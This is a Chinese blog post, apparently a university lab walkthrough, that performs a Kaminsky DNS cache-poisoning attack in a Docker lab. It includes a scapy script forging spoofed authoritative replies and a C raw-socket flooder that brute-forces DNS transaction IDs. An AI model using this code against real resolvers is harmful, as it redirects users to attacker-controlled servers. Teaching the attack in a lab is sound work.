HUSTCSE 2024 计算机网络安全实验 DNS远程缓存中毒--Kaminsky攻击

本文详细描述了一项关于DNS攻击的实验,使用Docker创建并配置DNS服务器,通过Python和C语言编写程序来伪造DNS查询和响应,以演示DNS欺骗技术。读者可以学习如何在虚拟环境中实施和测试这种攻击以及防御措施。
摘要由CSDN通过智能技术生成

参考文章:

华中科技大学网络空间安全学院2024年DNS攻击实验_华中科技大学网络空间安全2024dns-CSDN博客

提示:你可以在实验环境的虚拟机中打开本文档,以便复制代码!

说明:本文档仅面向结果编程,兼代码搬运工,过程如有错误勿喷!

1. 打开三个docker和一个终端:

sudo docker exec -it dns /bin/bash
sudo docker exec -it attack /bin/bash
sudo docker exec -it user /bin/bash

3079b45fc8da4b2eb5a458ad8e0ce7a4.png

2. 在dns容器中操作:

(1) 修改文件:

vim /etc/bind/named.conf.default-zones

先把前面的example.com域注释掉(如果你做完前面的实验之后销毁了容器,然后重新申请了,就可以什么也不做)。

然后向文件末尾添加以下内容:

zone "hust-cse.net" {
    type master;
    file "/etc/bind/hust-cse.net.db";
};

(2) 随后修改相应域配置文件:

vim /etc/bind/hust-cse.net.db

向文件末尾添加以下内容:

@       IN      NS      ns.hust-cse.net.
@       IN      A       10.10.27.4
ns      IN      A       10.10.27.4
*       IN      A       10.10.27.4

(3) 刷新缓存,并重启bind9

rndc flush
service bind9 restart

3. 在attack容器中操作:

(1) 修改文件:

vim /etc/bind/named.conf.default-zones

向文件末尾添加以下内容:

zone "example.com" {
    type master;
    file "/etc/bind/example.com.db";
};

(2) 随后修改相应域配置文件:

vim /etc/bind/example.com.db

 向文件末尾添加以下内容:

@       IN      NS      ns.hust-cse.net.
@       IN      A       20.0.6.14
www     IN      A       20.0.8.27
ns      IN      A       10.10.27.4
*       IN      A       20.23.3.19

(3) 刷新缓存,并重启bind9

rndc flush
service bind9 restart

4. 在user容器中操作:

 输入以下命令,检查结果与图中是否相符:

dig ns.hust-cse.net

 7ec0a316b0c14ece9c1b14e01df47cce.png

dig www.example.com @10.10.27.4

 607f2dd235af4cc5a8656a54ecf73b8a.png

5. 在终端中操作(不用docker了):

 (1) 设置收发包时延:

sudo tc qdisc add dev br-8f1148536672 root netem delay 1000ms 

(2) 编写python程序,命名为general_dns.py:

# general_dns.py

from scapy.all import *
import string
import random

# random name
name = ''.join(random.sample(string.ascii_letters, 5))+'.example.com' 
print(name)
Qdsec = DNSQR(qname=name)

# query
ip_q  = IP(dst='10.10.27.2',src='10.10.27.4') # dst: dns; src:attacker
udp_q = UDP(dport=53,sport=33333,chksum=0)
dns_q = DNS(id=0xaaaa,qr=0,qdcount=1,ancount=0,nscount=0,arcount=0,qd=Qdsec)
pkt_q= ip_q/udp_q/dns_q

# reply
ip_r = IP(dst='10.10.27.2', src='199.43.135.53', chksum=0)
udp_r = UDP(dport=33333, sport=53, chksum=0)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
 # The Authority Section
NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.hust-cse.net')
Addsec = DNSRR(rrname='ns.hust-cse.net', type='A', ttl=259200, rdata='10.10.27.4')
dns_r = DNS(id=0xAAAA, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=1, arcount=1, qd=Qdsec, an=Anssec, ns=NSsec, ar=Addsec)
pkt_r = ip_r/udp_r/dns_r

with open('query.bin','wb')as f:
  f.write(bytes(pkt_q))
with open('reply.bin', 'wb') as f:
  f.write(bytes(pkt_r))

(3) 编写C程序,命名为dns_attack.c:

// ---- dns_attack.c ------
// This sample program must be run by root lol!
//
// The program is to spoofing tons of different queries to the victim.
// Use wireshark to study the packets. However, it is not enough for
// the lab, please finish the response packet and complete the task.
//
// Compile command:
// gcc -lpcap dns_attack.c -o dns_attack
//
//

#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
#include <libnet.h>
// The packet length
#define PCKT_LEN 8192
#define FLAG_R 0x8400
#define FLAG_Q 0x0100

// Can create separate header file (.h) for all headers' structure
// The IP header's structure
struct ipheader
{
    unsigned char iph_ihl : 4, iph_ver : 4;
    unsigned char iph_tos;
    unsigned short int iph_len;
    unsigned short int iph_ident;
    //    unsigned char      iph_flag;
    unsigned short int iph_offset;
    unsigned char iph_ttl;
    unsigned char iph_protocol;
    unsigned short int iph_chksum;
    unsigned int iph_sourceip;
    unsigned int iph_destip;
};

// UDP header's structure
struct udpheader
{
    unsigned short int udph_srcport;
    unsigned short int udph_destport;
    unsigned short int udph_len;
    unsigned short int udph_chksum;
};
struct dnsheader
{
    unsigned short int query_id;
    unsigned short int flags;
    unsigned short int QDCOUNT;
    unsigned short int ANCOUNT;
    unsigned short int NSCOUNT;
    unsigned short int ARCOUNT;
};
// This structure just for convinience in the DNS packet, because such 4 byte data often appears.
struct dataEnd
{
    unsigned short int type;
    unsigned short int class;
};
// total udp header length: 8 bytes (=64 bits)

unsigned int checksum(uint16_t *usBuff, int isize)
{
    unsigned int cksum = 0;
    for (; isize > 1; isize -= 2)
    {
        cksum += *usBuff++;
    }
    if (isize == 1)
    {
        cksum += *(uint16_t *)usBuff;
    }
    return (cksum);
}

// calculate udp checksum
uint16_t check_udp_sum(uint8_t *buffer, int len)
{
    unsigned long sum = 0;
    struct ipheader *tempI = (struct ipheader *)(buffer);
    struct udpheader *tempH = (struct udpheader *)(buffer + sizeof(struct ipheader));
    struct dnsheader *tempD = (struct dnsheader *)(buffer + sizeof(struct ipheader) + sizeof(struct udpheader));
    tempH->udph_chksum = 0;
    sum = checksum((uint16_t *)&(tempI->iph_sourceip), 8);
    sum += checksum((uint16_t *)tempH, len);

    sum += ntohs(IPPROTO_UDP + len);

    sum = (sum >> 16) + (sum & 0x0000ffff);
    sum += (sum >> 16);

    return (uint16_t)(~sum);
}
// Function for checksum calculation. From the RFC,
// the checksum algorithm is:
//  "The checksum field is the 16 bit one's complement of the one's
//  complement sum of all 16 bit words in the header.  For purposes of
//  computing the checksum, the value of the checksum field is zero."

unsigned short csum(unsigned short *buf, int nwords)
{
    unsigned long sum;
    for (sum = 0; nwords > 0; nwords--)
        sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}

void send_pkt(char* buffer, int pkt_size)
{
  struct sockaddr_in dest_info;
  int enable=1;
  
  int sock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  
  setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));
  
  struct ipheader *ip = (struct ipheader *)buffer;
  struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));

  dest_info.sin_family = AF_INET;
  dest_info.sin_addr.s_addr = ip->iph_destip;
  
  udp->udph_chksum=check_udp_sum(buffer, pkt_size-sizeof(struct ipheader));
  if(sendto(sock, buffer, pkt_size, 0, (struct sockaddr *)&dest_info, sizeof(dest_info)) < 0){
		printf("packet send error %d which means %s\n",errno,strerror(errno));
	}
  close(sock);
}

int main(int argc, char *argv[])
{
    
    // dns fields(UDP payload field)
    // relate to the lab, you can change them. begin:
    
    while(1)
    {
      system("python3 general_dns.py"); // random pkt
      
      // read pkt
      FILE * f_q = fopen("query.bin","rb");
      char q_buffer[PCKT_LEN];
      int q_n = fread(q_buffer, 1, PCKT_LEN, f_q);
      send_pkt(q_buffer, q_n);
      
      FILE * f_r = fopen("reply.bin","rb");
      char r_buffer[PCKT_LEN];
      int r_n = fread(r_buffer, 1, PCKT_LEN, f_r);
      
      for(unsigned short i=10000;i<65535;i++){ //random id:1000~2000
        unsigned short order=htons(i); //little->big
        memcpy(r_buffer+28,&order,2);
        send_pkt(r_buffer, r_n);
      }
    }

    // DNS format, relate to the lab, you need to change them, end

    return 0;
}

(4) 编译dns_attack.c

gcc -lpcap dns_attack.c -o dns_attack

(5) 添加可执行权限

sudo chmod +x dns_attack

(6) 运行程序

sudo ./dns_attack

6. 在user容器中操作: 

 保持dns_attack程序运行,在user容器中进行dig操作:

dig www.example.com

dig xxxxx.example.com

7. 评测

  • 9
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值